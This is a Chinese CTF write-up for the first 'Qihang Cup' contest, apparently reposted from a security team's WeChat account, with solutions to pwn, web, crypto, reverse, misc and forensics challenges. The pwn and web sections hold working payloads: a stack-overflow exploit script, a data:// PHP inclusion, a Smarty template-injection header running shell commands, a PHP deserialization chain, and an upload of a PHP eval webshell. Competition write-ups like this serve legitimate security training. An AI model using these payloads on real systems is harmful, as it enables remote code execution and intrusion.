招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
Pwn
Easy_Pwn
直接打栈溢出就好
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("154.64.245.108",33285)
payload=b'a'*(0x50+8)+p64(0x00000000004012B1)+p64(0x00000000004011C6)
io.sendlineafter("Enter your banking information:n",payload)
io.interactive()
Web
Easy_include
文件包含,用data协议就行
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
Web_IP
smarty模板注入,payload:
X-Forwarded-For: {system('cat /flag')}
ez_pop
new_start的题目完全没改,就是注意在Sec里面要同时给obj和var分别执行Easy和eeee,这样调用了Easy里__call方法,同时完成了调用eeee里的__clone方法的要求。
Start::__destruct()->Sec::__toString()->Easy::__call->eeee::__clone()->Start::__isset()->Sec::__invoke()
exp:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a=new Start;
$b=new Sec;
$c=new Easy;
$d=new eeee;
$e=new Sec;
$f=new Start;
$a->name=$b;
$b->obj=$c;
$b->var=$d;
$d->obj=$f;
$f->func=$e;
echo serialize($a);
PCREMagic
import requests
from io import BytesIO
files = {
'file': BytesIO(b'<?php eval($_POST[tou]);//' + b'a' * 1000000)
}
res = requests.post('http://challenge.qihangcup.cn:33619/', files=files, allow_redirects=False)
print(res.headers)
PCRE绕一下就好,禁了一些函数,连蚁剑就行
Crypto:
RSA
私钥直接解RSA即可
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
private_key = b"""-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDGuAwF2+/sPCQ0vnfG+5pF/9ED3Qy+izkGC7KyEdy8/tTTBHGn
NebZc0kPMNDJmHxFey8p+BkefRv5Bct8IhSrNx5H7uXocJGFTlScfQDIr39Qj/K6
AvvEii5qiqpjWI1RY4nUGHS+ciirsUfcCXxcNtchjVWhs490ezkt19GtjwIDAQAB
AoGABNrAKHB8BvhdJhC1Gl5RIX6jW4XN5uW9yeEFR4ZaLx/GkTUdlakib5N6aG2X
3CTmfEgLGepeqrkBsu6qTukCOjWD4dPJyXRGqiC8MEE2D4IB/iujcZs2QnMB4tvZ
zjp/FD7TP/onTkENzEqJBpG4+uPcS+uUHyh9v3y5qnwZWsECQQDdWmZV9XOioTQN
lhcLr5dCCogGDHBFwG78Krx2TiB1KvbCKt9C5TnZZNw2NmKYbiLlvFt448UeO91T
RuMfTGGhAkEA5dKyesekmsBxVDOR2ddk54oudDb/mcFidsZ1rUdNO8J+yHec0x3s
eWqH8739ZkEiURMiM8dKVi5WUiK1QHYhLwJBAIwhW6HVZqQxK3Pibap/OeGcKyqx
Gy59OYW4RGEc6p1iWp7nZznBRhMjL+m+GkLnjn4j9UCd6T9PpLjAqq44u6ECQGn0
/RJ8TtiGFvnSGNFNbBkP7SDpZmh17zaBgymTcPk3T4qPEv+GkUrdIbbvhg+Jwg+M
+bzTieM309ZkaBpDHEMCQQC4fl6XCOwp53J/JTXiV1+HRIIMkaAtuZDey7M5CeAT
ds/5pvMgAyFyclIvvvvlrQjB20zMyfc4na8bu0NOJVg7
-----END RSA PRIVATE KEY-----"""
enmessage = "wOEgF62CT0a2Bnjpx/LCfOTBvnMhz0UxG2zYFZkxKqR7li2Vkixtu4+iLkscNXR+rzaUi1UtlBipduZmuO1c9xr6FZfrMwy9yblFmy1SzhVYjFLDTsKcuTOUnghOcLyMuEAHz9I46QD0Y9kAeomSicOyC6oY5wbJvYw3E4xet28="
def decrypt_message(encrypted_message, private_key):
key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(key)
decrypted_message = cipher.decrypt(base64.b64decode(encrypted_message))
return decrypted_message.decode()
decrypted_message = decrypt_message(enmessage, private_key)
print("解密后的消息:")
print(decrypted_message)
QHCTF{627a2a02-1160-475a-a8c8-91f072639c8a}
Reverse
checker
就异或,没啥好说的
a = [0x72, 0x6B, 0x60, 0x77, 0x65, 0x58, 0x46, 0x46, 0x15, 0x40, 0x14, 0x41, 0x1A, 0x40, 0x0E, 0x46, 0x14, 0x45, 0x16, 0x0E, 0x17, 0x45, 0x42, 0x41, 0x0E, 0x1A, 0x41, 0x47, 0x45, 0x0E, 0x46, 0x42, 0x13, 0x14, 0x46, 0x13, 0x10, 0x17, 0x45, 0x15, 0x42, 0x16, 0x5E]
for i in range(len(a)):
print(chr(a[i]^0x23),end='')
rainbow
依然是异或
data=[0x0B,0x12,0x19,0x0E,0x1C,0x21,0x3B,0x62,0x68,0x68,0x6C,0x6B,0x6A,0x69,0x77,0x6F,0x3B,0x63,0x3B,0x77,0x6E,0x3C,0x3B,0x6D,0x77,0x3B,0x38,0x39,0x3C,0x77,0x3E,0x3F,0x3B,0x6E,0x69,0x62,0x3B,0x6D,0x39,0x3F,0x6D,0x62,0x27]
for i in range(len(data)):
print(chr(data[i]^90),end='')
小明的note
直接动调走解密就好
Misc
请找出拍摄地所在位置
先由这个定位到柳州市柳城县
然后街口什么烧烤,直接搜
直接就定位过去了
______启动!
追踪一下tcp流,第135个流发现可疑流量
丢给豆包解密获得flag
QHCTF{69b62b46-de2f-4ac2-81f7-234613d25cfb}
QHCTF For Year 2025
参考https://blog.csdn.net/qq_42016346/article/details/104234416
得到
于是flag为QHCTF{FUN}
PvzHE
flag在PvzHEimagesZombieNote1.png
你能看懂这串未知的文字吗
对照表:
得到密文:szfpguwizgwesqzoaoerv!!!
密码为:qihangbeiiseasy
维吉尼亚密码解密即可。
QHCTF{cryptoveryeasybysheep!!!}
猿类的编程语言你了解吗
jphs隐写,然后BrainFuck解码
随波逐流得到flag
forensics
Win_01
某天,小明正在某网站进行学习。突然,一位蛤客盯上了他,并向他发送了一封钓鱼邮件。由于小明刚接触网络安全,对钓鱼邮件并不熟悉,他不小心下载并点击了邮件中的附件。当他后来学习到钓鱼邮件的相关知识时,已经为时晚矣。于是,他请求你帮助找出蛤客的痕迹。请你针对附件镜像进行一次应急响应,查找以下flag值。压缩包附件的解压密码为:90382728-ca22-48e7-8413-61f6438f1b90。请以QHCTF{xxxxxxxx}的格式提交结果。
1.找出系统中蛤客的ip地址及端口,提交方式请以QHCTF{md5(127.0.0.1:80)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
在后门用户的启动项中找到server2.exe,放入虚拟机隔离环境,直接运行。用System Informer去看外联IP
QHCTF{ad4fdee2eada36ec3c20e9d6311cf258}
Win_02
利用AXIOM先扫描一下整个磁盘镜像,在密码和令牌中发现NTLM哈希
chamd5解一下
HackY$_123456
QHCTF{d6106666c424cf9dd0f455273dff2111}
Win_04
4.蛤客在系统数据库中藏了一些东西,请你找出其中的flag值
这个系统中不存在其他数据库,因此将目光放到注册表之中,桌面上存在一个111.reg文件
直接查找QHCTF这个注册表项
QHCTF{c980ad20-f4e4-4e72-81a0-f227f6345f01}
Win_05
在Download文件夹里有一个Todesk的安装包,猜测是Todesk控制的,查看ToDesk的日志文件,在servicephqghume_2024_12_23.log里
从这里开始被控制
到这里控制结束总共是781秒
Ip是223.104.132.99
所以flag为Todesk_781_223.104.132.99
Win_07
7.蛤客在home目录中存放了一个恶意程序,请你分析该程序,并找到其中的flag值
这个题他应该给错了,但是就按交的flag写wp吧
黑客后门账户桌面发现flag.zip
现将压缩包解压缩一次,在解压缩后的新压缩包中发现提示
我们在注册表的环境变量中寻找密码,在Admin的环境变量中找到密码
解压缩解base64即可拿到flag
QHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}
原文始发于微信公众号(ChaMd5安全团队):第一届“启航杯”网络安全挑战赛 writeup by Min-Venom
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论